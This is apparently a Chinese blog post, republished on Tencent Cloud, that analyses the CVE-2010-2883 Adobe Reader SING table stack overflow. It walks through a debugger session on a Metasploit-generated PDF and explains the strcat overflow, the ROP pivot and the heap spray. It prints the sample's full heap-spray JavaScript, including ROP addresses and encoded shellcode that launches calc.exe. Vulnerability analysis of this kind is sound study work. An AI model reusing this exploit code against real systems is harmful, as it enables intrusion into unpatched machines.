前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞

CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞

作者头像
yichen
发布2020-12-29 15:19:46
6300
发布2020-12-29 15:19:46
举报

题外话

这么老的一个洞,在看雪搜文章的时候发现火绒发了篇文章,竟然现在还有利用这个洞的病毒

https://bbs.pediy.com/thread-260419.htm

环境相关

系统:win xp sp3

软件下载地址:

ftp://ftp.adobe.com/pub/adobe/reader/win/9.x/9.3.4/enu/

漏洞分析

软件安装好之后有个 CoolType.dll,在解析字体文件 SING 表 UniqueName项的时候直接使用了 strcat

先用 msf 生成一个恶意文档

用 adobe reader 打开可以弹出一个计算器

可以使用 PDFStreamDumper 来分析 PDF 文档,在菜单中找到 search for,搜一下 TTF Fonts

搜索结果在下面

TrueTypeFont 是由美国苹果公司和微软公司共同开发的一种计算机轮廓字体(曲边描边字)类型标准。

TTF 字体中 TableEntry 结构包含了所指表的资源标记、校验和、偏移量和每个表的大小:

typedef struct
{
Char tag[4];   //SING字符串
ULONG checkSum;    //校验和
ULONG offset;  //相对文件偏移
ULONG length;  //数据长度
}

在 object 10 找到 SING

根据结构中的 offset 可以分析出来,真正的位置是在:

SING 的格式如下,即 uniqueName 是在 +0x10 的位置,uniqueName 就是待会拼接的那个东西

typedef struct
{
    USHORT  tableVersionMajor; 
    USHORT  tableVersionMinor;
    USHORT  glyphletVersion;
    USHORT  embeddinginfo;
    USHORT  mainGID;
    USHORT  unitsPerEm;
    SHORT   vertAdvance;
    SHORT   vertOrigin;
    BYTE[28]    uniqueName;
    BYTE[16]    METAMD5;
    BYTE    nameLength;
    BYTE[]  baseGlyphName;
} SINGTable;

用 OD 动态调试看一下,打开 adobe reader,再打开 OD 附加进程,F9 运行起来,然后 ctrl+G 找到 0x803DD74,这里是 'SING' 进栈的地方,在这里下一个断点,然后把之前 msf 生成的 pdf 样本拖进。他会给断住,单步走几步到 0x803DD7D,此时数据窗口中跟随看一下 ecx 指向的地址

然后选中 A8 14 87 05 数据窗口中跟随一下得到:

这一块就是之前我们在 PDFStreamDumper 中搜索到的 TTF Fonts 的结构,0x00000100 是版本

执行完那个 call 之后,在数据窗口中看一下 eax 中存的地址的内容正好是 SING 表的内容,然后比较了一下 eax 与 esi 判断 SING 表是不是空的

接下来的 add eax,0x10 使得 eax 指向了 uniqueName,再通过 push eax 传参

继续单步执行,就到了 strcat 那里了,strcat 会把 0x5871150 复制到 0x012E4D8

执行完这个 call 之后在 0x012E4D8 这里下个内存访问断点

然后运行起来,当程序访问到这一块的时候就会断下来,经过多次断下之后会遇到一个 0x808B308 的 call dword ptr ds:[eax]

他接下来会通过 call 来执行 0x4A80CB38 这一块的代码,依次执行了:

add ebp,0x794
leave
retn

其中 leave 指令相当于

mov esp,ebp
pop ebp

这样就把 esp 指向了 uniqueName 那块内存

执行完之后执行了

pop esp
retn

把 esp 写成了之前布置好的 0c0c0c0c

retn 的时候就跑到了 0x0c0c0c0c,这个位置通过堆喷射早就布局好了 shellcode

堆喷射:在堆空间申请大量的内存,填充类似 nop 之类的滑行指令与 shellcode,这样修改返回地址跳转到堆中的某个地址的时候滑行一段时间就能执行 shellcode(跳转到一堆滑行指令比起精准跳转到 shellcode 开头要容易)

在 PDFStreamDumper 中查看一下 JS 代码:

(正常来说应该是搜索 javascript?对这个软件不太熟悉,在 object 12 中就有,不过变量名很奇怪,估计是 msf 为了绕过杀毒软件的检测)

改一下变量名:

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc9da%u74d9%uf424%u2958%ubdc9%u9b55%uab16%u31b1%u6831%u8318%ufce8%u6803%u7941%u57e3%uff81%ua80c%u6051%u4d84%ua060%u06f2%u10d2%u4a70%udbde%u7fd4%ua955%u70f0%u04de%ube27%u35df%ua11b%u4463%u0148%u875a%u409d%ufa9b%u106c%u7074%u85c2%uccf1%u2edf%uc049%ud267%ue319%u4546%uba12%u6748%ub6f7%u7fc0%uf214%uf49b%u88ee%udd1d%u703f%u20b1%u83f0%u65cb%u7c36%u9fbe%u0145%u5bb9%udd34%u784c%u969e%ua4f7%u7a1f%u2e61%u3713%u68e5%uc637%u032a%u4343%uc4cd%u17c2%uc0ea%ucc8f%u5193%ua275%u82ac%u1bd6%uc809%u48fa%u9320%u8f90%ua9b6%u90d6%ub1c8%uf946%u3af9%u7e09%ue906%u706e%ub04c%u19c6%u2009%u445b%u9eaa%u719f%u2b29%u865f%u5e31%uc25a%ub2f5%u5b16%ub490%u5c85%ud6b1%ucf48%u3759%u77ef%u47fb' );
var nopnop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"  );
while (nopnop.length + 20 + 8 < 65536) nopnop+=nopnop;
var_a = nopnop.substring(0, (0x0c0c-0x24)/2);
var_a += shellcode;
var_a += nopnop;
var_b = var_a.substring(0, 65536/2);
while(var_b.length < 0x80000) var_b += var_b;
var_c = var_b.substring(0, 0x80000 - (0x1020-0x08) / 2);
var var_1 = new Array();
for (i=0;i<0x1f0;i++) var_1[i]=var_c+"s";

之后 pop ecx 把 'UTF-32' 的地址给了 ecx

然后把 eax 的值 0x12E6D0 保存到了里面

在返回到 pop eax,把 CreateFileA 函数的地址放在 eax

返回后执行 jmp [eax] 去执行 CreateFileA

以隐藏的方式创建了一个临时文件,创建了一个文件,名字是:iso88951

接下来依次执行了 CreateFileMappingA 创建文件映射对象

MapViewOfFile 将文件映射对象映射到当前程序的地址空间

memcpy 把 shellcode 写到 MapViewOfFile 返回的可读可写可执行的地址

接下来就可以正常的执行 shellcode 了

经过一段循环之后在内存中可以看到 calc.exe 了

因为要通过 WinExec 来运行 calc.exe,直接 ctrl+g 来到 WinExec 代码那里下个断点,直接 F9 运行起来就会断住

再运行的话计算器就弹出来了

参考:

https://bbs.pediy.com/thread-257172.htm

https://bbs.pediy.com/thread-251801.htm

https://www.sunxiaokong.xyz/2019-08-30/lzx-01

https://my.oschina.net/u/3281747/blog/1789733

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 题外话
  • 环境相关
  • 漏洞分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档